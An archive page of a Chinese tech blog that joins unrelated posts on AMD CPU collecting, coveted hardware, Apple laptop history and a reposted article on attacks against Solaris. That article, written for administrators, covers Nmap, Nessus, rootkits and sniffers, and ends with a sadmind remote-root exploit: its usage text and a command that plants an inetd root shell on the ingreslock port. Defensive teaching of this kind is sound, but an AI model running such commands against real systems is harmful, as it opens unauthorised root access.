Archive for 十一月 5th, 2005
收藏狂人的杰作:他见证了AMD CPU发展史
凡是随着时间推移成为历史的东西,都能被载入史册,而这恰巧就是收藏最为吸引人的地方。在我们周围生活着的人们,也许有不同的奇奇怪怪的收藏癖好,比如笔者就酷爱收藏声卡。
前些日子笔者有幸结识了一位朋友,网上的ID叫做:小修,他的收藏癖好在中国很独特,但在世界拥有了一大批收藏爱好者,那就是CPU, 一个见证我们电脑发展的小东西。在笔者看来,在国内收藏CPU绝对是一个非常艰辛的过程,没有天时地利,需要顶着重重困难慢慢壮收藏品数量,有时候甚至需 要与国外的网友交换,跑遍神州大地去寻找,体验那心灵为之一振的兴奋感觉。
笔者经过与这位朋友的相处,在前些日子去其家走了一遭,用相机记录下了直到2005年3月20日,他的所有收藏品,不敢独享,还是"众 乐乐"吧。,同时需要说明一下,有些东西笔者根本闻所未闻,正所谓各行如隔山,不明白的地方我也就不多作说明,免得画蛇添足,贻笑大方。
由于在这一行业中,早期INTEL无疑是一个老大的角色,同时AMD也有一段和INTEL合作的经历,产品特性如出一辙,故而也不多做介绍,同一时代的产品基本大同小异。
AMD 8086
![]() |
![]() |
AMD 8088
AMD 8088-1
![]() |
![]() |
AMD 8088-2
![]() |

386/486已经列为"远古时代"
386DXL-40
![]() |
386DX-40
![]() |
486DX2-80
![]() |
486DX2-100
X86/K6II可以说是AMD的奠基
5×86
![]() |
![]() |
K5 PR133
![]() |
![]() |
K6II 233
![]() |
PF!连K6 III工程样板也能淘到
K6II 266
![]() |
![]() |
K6III 工程样板
![]() |

史上十大最烧硬件
森海塞尔奥菲斯 – 永远永远的梦中情人
SENNHEISER(森海塞尔)这个品牌对于大多数随身听爱好者来说,是再熟悉不过的了,小到MP3上使用的MX系列耳塞,大到夺得过无数大奖Hi-end动圈耳机HD600,无一不是让大家津津乐道的经典耳机产品,不过更人大多数人艳羡的是森海塞尔最顶级的耳机——森海塞尔Orpheus(奥菲斯)……

永远的梦中情人森海塞尔奥菲斯Orpheus
Orpheus问世于1991年,全球限产仅300套!全部为纯手工制造,它是由HEV90 电子管耳机放大器与HE90静电耳机构成的,价格为199,999元人民币(可以买一辆很不错的汽车了!)。据说光是为HE90静电耳机设计配套的耳机放 大器HEV90,森海塞尔就花了2年时间。
心动指数:★★★★★★★★★★
经典指数:★★★★★★★★★★
入选理由: 以森海塞尔的水准和知名度,汇集积累几十年的心得和经验,以毫不妥协的用料及设计全力打造的怪兽级旗舰产品――奥菲斯,声音到底是怎样的?这个问题还是留 给您自己去检验吧。对于奥菲斯当然不能说真的心动,因为它就仿佛降落人间的神女,是如此神秘、高贵、遥不可及……但权当是一种美好的向往、一种追求吧!
3dfx Voodoo5 6000 – 玩家心目中念念不忘的的怪兽!
在千禧年即将结束的时候,又一位巨人倒下了,这就是3dfx,长时间的亏损让3dfx不得不 关闭自己的显卡工厂,并将自己的产权出卖给NVIDIA,但3dfx从Voodoo的成功到Voodoo5 6000最后的辉煌,相信对不少DIY玩家都还记忆犹新,特别是Voodoo5 6000,成为玩家心目中念念不忘的经典!

有人说Voodoo5 6000是3dfx制造出来的一个怪兽,旨在击败所有的竞争对手,可惜,强大的它由于成本太高而无法实现它的目标。
规格:
总线宽度:128 位
显存:128 M
核心/显存:4*166-188/-
多边形:15M
像素填充率:1330-1470M
RAMDAC:350MHz
制造工艺:0.25


后来一家国外网站最近做了一个有趣的测试,他们使用一块Voodoo5 6000和很多2000年时比较流行的显卡,例如GeForce2 Ultra,Radeon 64M DDR进行了对比。既然要模拟三年前的竞争,那么当然不能用今天的游戏了,于是测试人员又取出了诸如3DMark 2000,Evolva,Expendable等老一代DX7游戏,当然也使用了Q3A,Serious Sam和Jedi Knight等OpenGL测试程序,上面面就是3DMark 2000和Q3A的测试结果。
心动指数:★★★★★★★★★★
经典指数:★★★★★★★★★★
入选理由:作为3dfx留给世人最后一件让我们珍藏的礼物,Voodoo5 6000成为了3dfx最后辉煌的标志。不过真正入选的原因我们想应该是:它真正的让全世界的人们见识到了四枚VSA-100芯片联合在一起的威力!
Aureal SQ3500 – 第一出现这么强悍的声卡
在成功的推出SQ2500之后,Aureal推出了一款经典的声卡,这就是SQ3500,它 采用了A3D 3.0技术,但是并没有采用新型的音效芯片,SQ3500声卡仍配备先前AurealSQ2500所配备的AU8830 Vortex2音效芯片。不过,为了支持A3D 3.0加速功能,Aureal将采用DSP(Digital Signal Processing)数字信号处理器模块设计,增加了Motorola的100MHz DSP56362。其中AU8830仍旧负责波表合成的MIDI、音源的3D定位、比较简单的环境音效和HRTF算法,DSP56362拥有强大的24位 DSP核心,专门负责Dolby Digital解码和配合AU8830处理复杂的环境音效、HRTF算法,这样的分工合作可使SQ3500既是强大的3D声卡,又能组成完善的PC家庭影 院系统。

SQ3500声卡还加强了硬件回声几何运算功能,及新增了Dolby Digital的音信解压缩功能。并且还支持576个Wavetable合成音源, S/PDIF(Sony/Philip Digital Interface)输出介面,以及微软的DirectSound、DirectSound3D及DirectInput等API同时也加入了子卡。子卡 中使用了MOTO的56362小型CPU,为A3D与杜比硬解码做加速作用。
心动指数:★★★★★★
经典指数:★★★★★★★
入选原因:这么强悍的设计,可以使我们在音乐,电影,游戏等多个方面得到很好的享受,不过遗憾的是这款声卡发布不久Aureal就被创新收购了,它的发行量也非常稀少,很多玩家都想收藏它。
24英寸16:9特丽珑 – CRT时代中极品中的极品!
SONY特丽珑的经典让很多人难以忘怀,这个从七十年代就开始开始的显示器经历了很多年代,从80年代工作的使用到90年代个人电脑的普及,SONY特丽珑创造了一个又一个辉煌,它代表的不只是当今最尖端CRT显象管技术,有时候代表的可能是玩家对硬件的一个梦想。

SONY FW900
在SONY特丽珑经典显示器当中,有一款更为经典的,这就是SONY 24英寸16:9的特丽珑显示器——SONY GDM W900。这款显示器是由日本索尼一宫公司制造,拥有高达380Mhz的极限带宽。作为 SONY16:9宽屏超平特丽珑显象管,其拥有多达4种汇聚调校功能,高质多层式防反射涂层,自动回中及尺寸调整功能,免除繁复调较并不失影像原有的比 例。内置EFEAL和MALS高聚焦技术,自动效对及修正系统,内置全球地磁感应器[四角地磁修正系统]。D-Sub迷你15针和BNC×5接口双重讯号 输入功能,符合TCO95/能源之星2000规范。我们来看一下规格。
显象管尺寸:24英寸
显象管名称:SONY16:9 宽屏超平特丽珑显象管
显象管类型:16:9 宽屏超平特丽珑
表面镀膜:高质多层式防反射涂层
映象点距:0.23mm[栅距]
水平扫描范围:30khz ~115Khz
垂直扫描范围:43hz~200hz
最高分辨率:2048×1536
最高带宽:380Mhz
心动指数:★★★★★★★★★★
经典指数:★★★★★★★★★★
入选理由:超大的尺寸、16:9的宽屏超平特丽珑显象管、其它各项优秀的指标,都让这款显示器无法让人遗忘,即便今天有了大屏幕的液晶显示器,相信不少玩家还是抵不住SONY FW900带来的诱惑!
幻日Parhelia-512 – 它的经典来自超强的规格和超弱的性能
Matrox在推出G450和G550以后,一直想在高端打出一个漂亮的仗,从而顺利成章的 占据利润丰厚的高端DIY市场。在NVIDIA推出GF4系列以后不久,Matrox便推出了Parhelia-512。从名字上我们也可以猜测到当时 Matrox的决心,Parhelia,它的意思是“幻日”,这是一种自然现象,指的是太阳的光线在受到空气中的结晶体的折射而产生的一种很漂亮的现象。 确实如此!Parhelia-512在理论上确实让人震惊,这不单单是它具有512Bit的GPU,先进的系统架构和优秀的显示品质,它还是全世界第一块 支持DX9.0的显示芯片!


幻日没有像想象中那样强大,超强的规格没有带来性能上太大的提高,甚至有人说它勉强达到RADEON 8500的性能,另外显卡还存在稳定性问题。想想看就知道了,有谁会花高昂的价格去买一快性能超弱的显卡呢?

心动指数:★★★★★★★
经典指数:★★★★★★★★
入选理由:Matrox的创新让Parhelia-512具有很多第一,它对后来显卡的发展影响也非常深,这也是后来很多人对它念念不忘的原因,不过,它真正的经典应该来自超强的规格和超弱的性能!
Razer Boomslang 鼠标 – 传说中最精确无比的利器
先来看一则据说是真实的消息:在一场比赛中,一个不知名的青年以不可思议的速度以及精确无比 的准成度秒杀对手。他真的是这么优秀的选手吗?还是使用了作弊呢?赛后,裁判长审查了他--他们发现了这名青年的Razer Boomslang鼠标,不消片刻,这名青年被扔了出来,随即宣布,由于使用Razer鼠标会带来“不公平的技术提高”,而判定该名使用Razer鼠标的 玩家违例。不管故事的真假,也可以从一个侧面看出Razer Boomslang鼠标在一部分人心目中的地位。
Razer Boomslang鼠标是由一个不为人知的小公司Karna研发的,他们生产出了Razer Boomslang 1000和Razer Boomslang 2000两款经典的鼠标。这两款鼠标唯一的特点就是专为QUAKE玩家所定制,产品的分辨率达到了前所未有的2000 DPI,这即使在今天也让我们咤舌。当五花八门的QUAKE赛事如火如荼时,Razer系列便风声鹊起,它带给了游戏选手前所唯有的体验,从当年的QUAKE四大高手共同为其代言,我们也可略知一二。

金属铁盒的内包装

Razer鼠标宽大而扁平的身形

当年QUAKE四大高手曾共同为Razer代言
心动指数:★★★★★★★★★★
经典指数:★★★★★★★★★★
入选理由:从来没有人用这样的方式来表扬一款鼠标,它的经典应该源于众多QUAKE高手对其的称赞!
SONY QUALIA 017 – 纯金外壳,这款MD售价过万元!
SONY QUALIA系列的产品应 用的是SONY最新的数字化技术,不管在视听领域还是领域相对于SONY的在市场上销售的数字化产品来说均是顶级而且是为客户订制的,所以QUALIA的 目标用户也是具有高消费能力的人群。SONY QUALIA系列中,有一款MD价格超过万元,这就是QUALIA 017。
“QUALIA 017”这款MD的售价高达18.9万日元,相当于1721.98美元,约合人民币14000!而且这款天价MD的1个月产量只产15台,MD搭配的线控 和耳机,电源适配器、充电电池、挂绳等部件都经过全新设计。您还可以为MD装上纯金或纯银甚至白金外壳,或者在上面刻上自己的个性化标志,当然这些都是要 另外付费的。

Q017-MD1的机身外壳采用了钯银合金切削而成,并且使用了遮盖接缝和间隙以及螺钉的高 精度加工。在正面是采用S型曲线设计的机身。Q017-MD1机身外形尺寸为91.4mm×79mm×15.3mm(宽×深×高),其搭配的线控同样采用 了钯银合金,支持6个全角汉字显示。
心动指数:★★★★★★★★★★
经典指数:★★★★★★★★★★
入选理由:超贵、限量或许是它入选的原因,但SONY在MD上的精美的设计又有谁能超越呢?
126英寸等离子显示器 – 心痛但又完美的视觉享受
你能想到的最大的显示器有多大?82英寸的HDTV液晶电视;102英寸的PDP;还是现在路边随处可见的LED显示屏?

世界第一?三星SDI发布的102英寸等离子电视
如果既想要宽阔的显示面积又希望得到清晰的显示效果,那么LCD或者PDP无疑是你目前最值 得考虑的两种选择,如果你不在乎对空间的占用以及搬运时的各种麻烦,那么背投影显示器也不妨一试。到目前为止,我们所知道的最大的显示器大概还是三星 (Samsung)在去年10月份发布的102英寸全高清PDP电视,2200mm×1300mm的尺寸已经超过了普通单人床的规格,人物纵向的原尺寸显 示已经不成问题。
但,102英寸真的就是最大了么?答案是否定的。2005年4月8日欧丽安在北京发布了 126英寸等离子显示器,它是由多达9块42英寸PDP面板以3×3的形式拼接而成,这款平板显示器“巨无霸”的表面仅有4道宽度3mm的缝隙和126英 寸相比,这3mm实在是显得微不足道以至于可以忽略不计。作为“天衣”的基础,欧丽安的42英寸PM-4240“无边”PDP屏幕具有1000cd/m2 高亮度和3000:1高对比度,各方向160°的可视角度也最大限度确保了巨大显示幕墙各个方向的视觉一致性。

超大屏幕HDTV的震撼,画面一直延伸到屏幕最边缘
目前已经量产上市的三星80英寸等离子电视报价大约为人民币75万元以上,而“天衣”等离子无限拼接幕墙的42英寸PDP屏幕单体报价为人民币12万元,即便如此,9个42英寸PDP屏幕也要一百多万元,花一百多万买一台显示器,心痛吗?不过视觉效果真的很完美。
心动指数:★★★★★★★★★★
经典指数:★★★★★★★★★★
入选理由:这么大显示器带来的效果也绝对震撼,为了给花一百多万买它的人以安慰,我们还是加上它吧……
Bitboys Avalanche3D显卡 – 它的经典源于经典的理论!
关于Bitboys也有一段传说:据说位于芬兰的Bitboys在击落了一架UFO,然后就获得了0.000006微米的生产工艺,但是由于产品芯片体积过小,从而使得人们难以分清芯片所在,幸好,Bitboys最终还是拿出了能够让世人看到的放大版……
虽然人们都知道这是谣传,但这个名字在显卡领域却大名鼎鼎,原因是在Voodoo2独掌显卡 市场的1998年,一家小型的名叫Bitboys Oy的芬兰公司向外界宣布要生产4倍于Voodoo2的芯片,这个言论在当时引起了相当大的轰动,不过人们还是满怀希望的等啊等啊,就在Bitboys逐 渐淡出人们大脑中的记忆的时候。2002年8月3日,Bitboys令人奇怪地拿出了XBA架构的显卡,而这款显示芯片已经不再被命名为Glaze3D 了,而被Bitboys称为Avalanche3D。新的Avalanche3D正式宣布采用0.18微米制造工艺,支持XBA架构,整合12MB的 EDRAM,外部支持64MB 128位的SDRAM,支持AGP 4X,但需要有外接的电源接口,输出接口支持普通的VGA以及DVI和TV-out。

不过,最后Avalanche3D只有工程样品,并没有得以大量生产,一方面原因可能是没有公司支持其生产,另一方面可能是其五年才研发出来的速度对于发展迅速的显卡领域来说实在是太长了。
心动指数:★★★★★★★★★★
经典指数:★★★★★★★★★★
入选理由:在Avalanche3D工程样品没有出来之前,很多人一直怀疑Bitboys,更多人觉得它根本早不出极品显卡,但不过Avalanche3D样品问世以后,人们打消了这种怀疑,可惜的是Avalanche3D最终还是没有量产。
苹果笔记本电脑简史
苹果的 笔记本电脑只有两个大系列,分别是PowerBook和iBook,前者主要是为了高端专业应用而设计,属于苹果的高端机器,后者则针对中低价格的教育和 个人市场,属于苹果的入门级机器,如果要用一个词语分别形容PowerBook和iBook,那么PowerBook应该是“专业”,而iBook则是 “可爱”,这从它们的名字就可以看出来
。 两者从外观,配置到价格都有很明显的区别,好像最新最快的CPU,大显存的高端显卡,Superdrive光驱(DVD-R/RW),千兆网卡,金属机壳 和Firewire800接口,PC卡插槽,高画质宽屏和高容量内存/硬盘一直是PowerBook的专利,iBook标配是不会有的,甚至 PowerBook G4 12有些都不会具备,不过苹果看来正在逐渐放宽这个限制,因为最新的iBook G4 14已经可以以BTO的方式在下单订购的时候选择SuperDrive光驱
!
有鉴于PowerBook和iBook在定位和实际配备的区别,我们在以下会简要介绍其处理器,PowerBook和iBook的历史,希望能帮助初次接触Mac的朋友了解两者的基本情况:
处理器:之所以要先说处理器,是因为早期的苹果处理器分类非常混乱,我们只以应用在苹果上的处理器举例,还有很多处理器是IBM和Motorola有 开发但是没有被苹果使用过……最早的Motorola MC68000/MC68HC000/MC68020/MC68030/MC68LC040是Motorola自家的16bit CPU,不属于PowerPC处理器架构,我们姑且称为G0(这只是为了表示方便,其实不是正式的官方名称),后来Scully促成了PowerPC联 盟,IBM和Motorola开始共同合作研发和生产PowerPC系列处理器,PowerPC 601/601+是最早采用32bit的PowerPC架构处理器,我们姑且称为G1(只是为了表示方便,并非正式的官方名称),后来的PowerPC 603/603e/603ev/604/604e我们姑且称为G2(只是为了表示方便,并非正式的官方名称),再后来的PowerPC 750系列被苹果官方正式命名成G3,随后的MPC 74xx系列被苹果官方命名成G4,PPC 970系列被命名成G5。但是实际上,并不是所有的PowerPC架构处理器都被苹果采用,除了苹果使用PowerPC处理器之外,IBM自家的部分服务 器和Motorola的一些与电脑无关的工业设备也使用这些处理器(例如车载控制器之类)。
PowerBook系列简史
PowerBook篇:苹果笔记本电脑在问世之初是只有PowerBook作为商用系列的,第一台可以勉强称为“便携式电脑”(其实准确的称呼应该是 Laptop/膝上型电脑)的是Macintosh Portable(1989年9月发售),虽然那时还没有正式的PowerBook称呼,但大家习惯上把它归为PowerBook的系列,在今天看起来它 笨重的身材显得有些可笑,不过请不要忘记它是1989年的作品,有兴趣的朋友请自行查找一下1989年PC生产了什么东西吧
比较接近大家观念中的“笔记本电脑”应该是1991年10月推出的PowerBook 100,这是第一款被正式称为PowerBook的产品,现在的二手市场偶然还可以见到它的踪迹。
PowerBook系列因为和之后的PowerBook G3系列命名纠缠不清,为了准确起见,我们把PowerBook系列的最后作品(1997年2月发布的PowerBook 3400C,如果不算世界市场的话,1997年5月只在日本发售的PowerBook 2400C算是最后)称为PowerPC 603e时代的终结,下图就是这款PowerPC 603e时代的终结:PowerBook 2400C,仅重1.99Kg,是迄今为止最轻的PowerBook
其后苹果又继续发展PowerBook G3系列(1997年11月~2001年1月),但是有趣的是,第一代PowerBook G3(代号kanga)其实是基于PowerBook 3400而来的,因此从这一点上来看,似乎最后的PowerBook又应该是3400,真是糊涂账了
,下图是PowerBook 3400和PowerBook G3(Kanga)的对比,大家应该都能看出它们极其相似。
2001年1月,苹果发布了PowerBook G4系列,是第一款采用15英寸级别宽屏设计的笔记本电脑,重量只有2.4Kg,厚度仅有1英寸(25.4mm),采用钛金属制造机壳所以也被称为 Titanium,时至今日,Titanium依然在15英寸级别宽屏中保持着厚度和重量的领先,并且成为工业设计的经典和PC笔记本电脑抄袭的对象
, 甚至苹果自己日后发布的铝合金外壳PowerBook G4 15都未能超越这个成就……PowerBook G4系列直到2003年9月都一直沿用着这个经典的造型和设计,这也是苹果的PowerBook系列中最后一代能以OS 9系统启动的笔记本电脑,其后的PowerBook G4都只能以OS X来启动,所以即使在有更新款PowerBook G4发布的今天,二手价值都不低。
2003年1月苹果发布了PowerBook G4系列的两个新成员powerBook G4 12和PowerBook G4 17,这是苹果在进入PowerBook G4年代后首次发布15.2英寸宽屏之外的机器,分别采用12.1英寸和17英寸屏幕,而且这两款机器好像从一面世开始就已经不再支持从OS 9启动,其中PowerBook G4 12(代号P99/Thresher,Thresher是长尾鲨的意思)和我们这次评测的PowerBook G4 12(代号Q54)在外形上完全相同,不过当时的PowerBook G4 12是采用Titanium的PowerPC 7455 V3.3处理器,主频降为867MHz,而且没有提供L3缓存,因此在性能上并没有领先当时的900Mhz iBook G3 12多少。PowerBook G4 12可以说是iBook的加强版,两者从端口到整机布局都比较接近,PowerBook G4 12是为了便携性而推出,因此其实际性能和功能表现介乎iBook和PowerBook G4 15/17之间,它有PowerBook的SuperDrive,全速G4处理器和金属外壳等特征,但它又好像iBook那样没有PC卡插槽,没有15和 17 PowerBook G4的千兆网卡,Firewire 800接口和夜光键盘,价格方面也是介乎PowerBook G4 15和iBook之间,总结下来其实还是受限于iBook的基本架构,因此把12.1英寸屏幕的PowerBook G4视为加强版的iBook是比较合理的。不过随着PowerBook G4 12的发展,和iBook的差距正在开始逐渐拉大。
PowerBook G4 17推出的时候是世界上第一台17英寸屏幕的笔记本电脑,而且令人惊奇的保持了1英寸(25.4mm)的厚度,和Titanium一样!在 Titanium停产后的今天,PowerBook G4 17就是苹果目前最薄的笔记本电脑,重量也仅有3.08Kg,内建蓝牙,IEEE802.11b/g双频无线和千兆有线网卡,还有独特的夜光键盘 illuminated with ambient light sensor/可感应环境光线自动调整键盘背光亮度),同时提供Firewire 400和Firewire 800接口(相当于PC上的IEEE1394a和IEEE1394b),作为一台17英寸屏幕的全功能笔记本电脑,这在PC笔记本电脑中是很难想像的。目 前PowerBook G4 17也是苹果笔记本电脑中的旗舰产品。
作为PowerBook G4中资格最老的PowerBook G4 15,Titanium直到2003年9月才被Aluminum取代,新的Aluminum采用铝合金制作机壳,风格和PowerBook G4 12和17保持一致,并且具有旗舰PowerBook G4 17的大部分特性,显卡同为64M显存的ATI Mobility Radeon 9600,同样配备400和800双Firewire接口,高配版本同样具备夜光键盘,可以说相比之下PowerBook G4 17只是胜在CPU稍高一点和屏幕尺寸/分辨率稍大,以及采用512M单根DDR333内存(G4 15是单根256或者两根256M DDR333),这让新的Aluminum成为PowerBook G4系列中的新主力机型。Apple同时也升级了之前的PowerBook G4 12和PowerBook G4 17。
至此PowerBook G4系列全部采用铝合金外壳 ,就在本文发布前不久的4月19日,苹果更新了整个PowerBook产品线,所有PowerBook G4的外形虽然没有改变,但是CPU,内存和显卡都全面提升,除了PowerBook G4 17电池容量不变外,15和12英寸型号均提升了电池容量,甚至PowerBook G4 12都破天荒的拥有了64M显存的显卡(之前两代均为32M显存),高配的PowerBook G4 15和PowerBook G4 17甚至可以用BTO的购买方式升级到128M显存的ATI Mobility Radeon 9700!PowerBook G4 17现在和高配的15只是相差在屏幕尺寸和分辨率,不过尚不清楚PowerBook G4 15的512M DDR333内存是单根还是2x256M,而且所有PowerBook标配都内建AirPort Extreme(相当于PC的IEEE802.11b/g双频网卡)和蓝牙模块,CPU还采用了更加省电和低热量的Power PC 7447A,售价则和以前的PowerBook G4和一样不变,令许多刚刚买了PowerBook G4的朋友捶胸顿足地抓狂。
PowerBook G4 17现在和高配的15只是相差在屏幕尺寸和分辨率
如果说到PowerBook系列最被人关注的话题,那肯定是什么时候会有PowerBook G5?自从PowerMac G5推出之后,优异的表现得到无数媒体和消费者的盛赞,众多的Mac爱好者均期望尽快有PowerBook G5的出现,呵呵,之前网上真的是谣言四起,一度各种猜想图非常流行,有关这一点给予本文很大支持的“两栖高手”蕉自有他的独到看法,有兴趣的朋友可以看 看SunDigi.com苹果专区的这个帖子,事实上这个帖子发表在苹果4月19日升级PowerBook G4的一个多月前,如今事实验证了蕉的看法,目前流传的比较广的说法是PowerBook G5可望在明年第一或者第二季度正式发售,在此之前,相信PowerBook G4还将有进一步的升级以填补在PowerBook G5之前出现的空缺。
黑客攻击的策略,工具和操作步骤
按:本文摘自SUN技术社区,主要针对于Solaris用户。
本文介绍一般的黑客是通过什么样手段攻击你的Solaris操作系统的,值得注意的是,大多数的攻击总是用最基本,最简单的方法取得成功的。
本文中,我们假定大家采用Solaris的缺省配置,我们以此为例,说明什么样的系统漏洞最容易招致黑客攻击。同时,我们采用的工具都是网上很容易找到的免费软件,以此演示黑客进攻所使用的技巧。
这里演示的攻击方法都有相应的预防措施,但是,黑客们每天都在使用这些方法取得成功。只有你知道黑客在做什么,他们是怎么做的,你才会明白在自己的机构中建立和维护一个安全的系统是多么重要。
许多管理员仅仅在安装系统的时候才会考虑安全性问题,以为这样就一劳永逸了。可惜事实上保护系统的安全是一个不断进行的过程,必须经常跟踪和检查。
使用本文提供的资料,你可以尝试攻击你所管理的数据中心(datacenter),高端服务器或者其他系统来检查是不是最基本的攻击方式都可以轻易得手。根据这些信息,你就可以确定系统的缺陷,然后采取措施加以保护。
这篇文章包括以下内容:
苍蝇不叮没缝的蛋,黑客攻击总是寻找有漏洞的系统。一般来说,漏洞有三种:
1.账户系统的漏洞
2.操作系统的漏洞
3.运行环境(一般是后台进程)的漏洞
大 多数黑客都是由于好奇心的驱使而发起攻击的,所以这些黑客最终也许会找到某种专门的方法来进行有效的攻击。但绝大多数成功入侵都是利用早已公布的安全漏洞 来完成的。管理员或者是没有打必要的补丁,或者是没有禁用这些功能,终于飞来横祸。今天,我们要讨论的就是这种不应该发生但事实上却每天都在发生的故事。
提示:你可以利用SUN公司推荐的工具包 Solaris Security Toolkit 来帮助你完善系统:打上该打的补丁或者禁用某些危险的功能。这个工具包可以从 http://www.sun.com/blueprints/tools 下载。
黑 客社会经常出现这样一种情况:某些黑客高手开发出一个很好的扫描工具以后,就把这个工具放到网上,由于这个工具能够有效地搜索已经公布的系统漏洞,很多低 级黑客(通常是所谓的”脚本少年”)就开始利用这个工具7X24小时地工作,搜索大量的主机系统来找出一些存在漏洞的系统。如果他们想进入某个公司的系 统,就会寻找所有与其有关的主机进行扫描。
扫描过后,一般总能发现一些差劲的系统,这些少年就可以开始工作了。由 于漏洞的严重程度不同,有时候他们只能建立非特权账户,但有时候就可以建立一些特权账户。不管怎样,攻击者已经有了落脚点,他们进一步的扩大战果,获取更 多的特权,还会继续攻击所有跟这台主机有信任关系的其他主机。
如前所述,黑客首先寻找系统漏洞以获取一个账户,然后再寻找操作系统的漏洞来进攻。
寻找某个特定操作系统的漏洞非常容易。现今有许多机构在Internet上提供操作系统的漏洞大全。这些机构的目的是想给公众提供资料,所以一般的网民和黑客同样可以获取这些资源。换句话说,你和黑客是平等的,每个人都有能力成为黑客。
Mitre, 一个为政府服务的智囊团,维护着一个有关系统漏洞和安全隐患的字典,(Common Vulnerability and Exposures—简称 CVE)。他们在自己的网站上解释这样做的目的:
我们给每个系统漏洞和信息安全隐患起一个标准化的名字—CVE 的目标就是标准化所有已知系统漏洞和安全隐患的命名以方便查阅和搜索。
其它的安全网站,比如 SecurityFocus, CERT, SANS Institute等等, 都提供方法和工具来发现并攻击系统漏洞
以Solaris 2.6为例。一个非常有名的漏洞就是由 sadmind 进程造成的。(现在已经有专门的补丁)。黑河经常利用这个漏洞获取root 权限。
每个人都可以很容易学会怎样利用这个漏洞进行攻击:搜索前面的Mitre网站可以得到一个CVE 编号,再利用一个搜索引擎和这个编号,你就可以找到用来攻击的源代码和详尽的攻击步骤。整个寻找过程只要几分钟。比如,到SecurityFocus站点 找源代码,到SANS站点找攻击方略。
黑客们有许多工具攻击系统,我们这里所介绍的每种工具都有专门的用途。我们把这些工具分为四个类型:
端口扫描工具
漏洞扫描工具
Rootkits (隐身工具)
Sniffers (抓包工具)
端口扫描工具大概是Internet上用得最多的扫描工具了。这个工具扫描大量的IP地址,然后得出一系列的报告: 他们遇到的主机,操作系统的类型,可用的端口,等等。现在最流行的工具是Network Mapper(Nmap).
Nmap的网站这样描述这个工具:
Nmap (“Network Mapper”) is an open source utility for network exploration or
security auditing. It was designed to rapidly scan large networks, although it
works fine against single hosts. Nmap uses raw IP packets in novel ways to
determine what hosts are available on the network, what services (ports) they are
offering, what operating system (and OS version) they are running, what type of
packet filters/firewalls are in use, and dozens of other characteristics. Nmap runs
on most types of computers, and both console and graphical versions are
available. Nmap is free software, available with full source code under the terms
of the GNU GPL.3
Nmap 是一个用于检察系统安全性的开放源码工具。它主要用来扫描大量的网络主机,当然,检查单个主机更没问题。由于Nmap使用原始IP包搜集数据,然后以一种 很巧妙的方式判断如下信息:网络上有哪些主机,都提供那些服务,操作系统是什么,是哪亿个版本,使用了哪一类包过滤/防火墙技术,等等。Nmap支持大多 数操作系统,包含命令行版本和GUI版本。Nmap 是自由软件,任何人可以在GNU GPL下获得其源代码。
Nmap 支持的扫描种类非常多:包括TCP SYN和 NULL scan。其他选项包括OS fingerprinting, parallel scan, 以及decoy scanning 等。Nmap有一个命令叫做xnmap可以支持图形方式的操作。更详细的信息可以从Nmap网站或者nmap(1M)的手册页得到。
漏洞扫描工具可以对目标系统进行测试,看它是不是存在某个特定的漏洞可以用来攻击,或者是许多已知漏洞中的一个。大多数这种工具都可以免费得到,这里着重介绍目前最流行,也是发展最快的一个工具: Nessus.
Nessus的网站这样描述这个工具:
“Nessus”项目致力于向Internet社区提供一种免费但功能强大,迅速更新的远程安全检查工具。这种工具可以通过在远端操作就可以评估一个网络的安全性,看它是不是能够被轻易攻入,当然,也难免有人会怀着其他目的使用这个软件。
与其他的安全检查工具不同,Nessus从不做事先假定,举个例子,它不会假定web server是监听在80端口,所以即使你在1234端口启动apache,它也可以发现,Nessus也不根据软件的版本判断是否存在漏洞,它只是真正 的测试这个软件看它是不是有问题。
Nessus速度非常快,也很可靠,它是基于模块架构的,这样你如果需要的话可以很容易的改造它。
Nessus为系统管理员和黑客提供了同样的工具来检查一个系统,评价它是否安全。它既支持命令行方式,也支持图形界面,但一般用图形界面更方便。如果需要更多的信息,请访问Nessus网站。
Rootkits是指由一些脚本和程序打包成的一种工具,这种工具能帮助入侵者消除自己曾经侵入这个系统,并曾经获取root权限的痕迹,它的主要工作如下所示:
修改log文件,清除黑客活动证据。
修改系统工具,使得管理员很难甚至无法发现黑客活动。
为下次入侵留下后门。
把当前的系统变成落脚点,进一步入侵其它系统。
一般的网络软件仅仅接受专门发给自己的IP包,Sniffing使计算机能够截获局域网上所有的包,来获取一些不必要知道或者不应该知道的东西。要想使用 sniffer,必须先把计算机设置到一种特定的模式,使得底层的网络软件把所有收到的IP包都转发到上层的应用程序。
Solaris自带一个snoop工具,尽管相对粗糙,但仍然能够清除的以文本方式显示收到的用户ID和口令。目前经常使用的许多网络软件都使用铭文传送用户名和口令的。比如Telnet,IMAP,POP3等。
黑客一旦进入系统,通常会安装一个抓包工具来寻找更多的用户名和口令,也会寻找网络结构方面的信息,以方便进一步的攻击。
本届以两个实例说明黑客入侵一个没有安全保护的系统有多么轻而易举,我们的两个实例模拟以下两种情况的攻击:
在以上两种攻击情形中,黑客只要得到了root权限,就会想办法保留这种进攻途径,以便下一次进入系统,它也会建立更多的特权,以获取更多的资源。我们在这里把黑客用到的工具综合起来,来显示他们是怎样工作的。
这个实例中,我们用Nessus找到一个Solaris2.6系统,这个系统存在sadmind 的RPC漏洞而且没有打补丁,我们看看sadmind 进攻是如何攻破系统的。
首先,黑客用一个rootkit来获取并保护自己的root访问权限。在 sadmindex.c 程序的开头有这样一段关于用法的信息:
sadmindex – SPARC Solaris remote root exploit for /usr/sbin/
sadmind Tested and confirmed under Solaris 2.6 and 7.0 (SPARC)
Usage: % sadmindex -h hostname -c command -s sp [-o offset] [-a
alignment] [-p]
where hostname is the hostname of the machine running the
vulnerable system administration daemon, command is the command to
run as root on the vulnerable machine, sp is the %sp stack pointer
value, offset is the number of bytes to add to sp to calculate the
desired return address, and alignment is the number of bytes needed
to correctly align the contents of the exploit buffer.
Sadmindex的作者甚至给出了一个推荐的sp 堆栈指针值来使得攻击更加容易。
有时可能需要调整sp 参数,作者也给出了调整的方法,事实上也花不了许多时间。
我们从一个运行Solaris8的系统向目标机器发起攻击:
# ./sadminsparc -h nfs -c "echo ’ingreslock stream tcp nowait root
/bin/sh sh -i’
>/tmp/.gotcha; /usr/sbin/inetd -s /tmp/.gotcha" -s 0xefff9596
运行的过程如下:
% sp 0xefff9596 offset 688 –> return address 0xefff9844 [4]
% sp 0xefff9596 with frame length 4808 –> %fp 0xefffa858
clnt_call: RPC: Timed out
now check if exploit worked; RPC failure was expected
作为系统管理员,如果你想在自己的系统上试一下,或者你想检查是否有黑客攻击了你的系统,可以使用以下命令:
# ps -ef | grep inetd
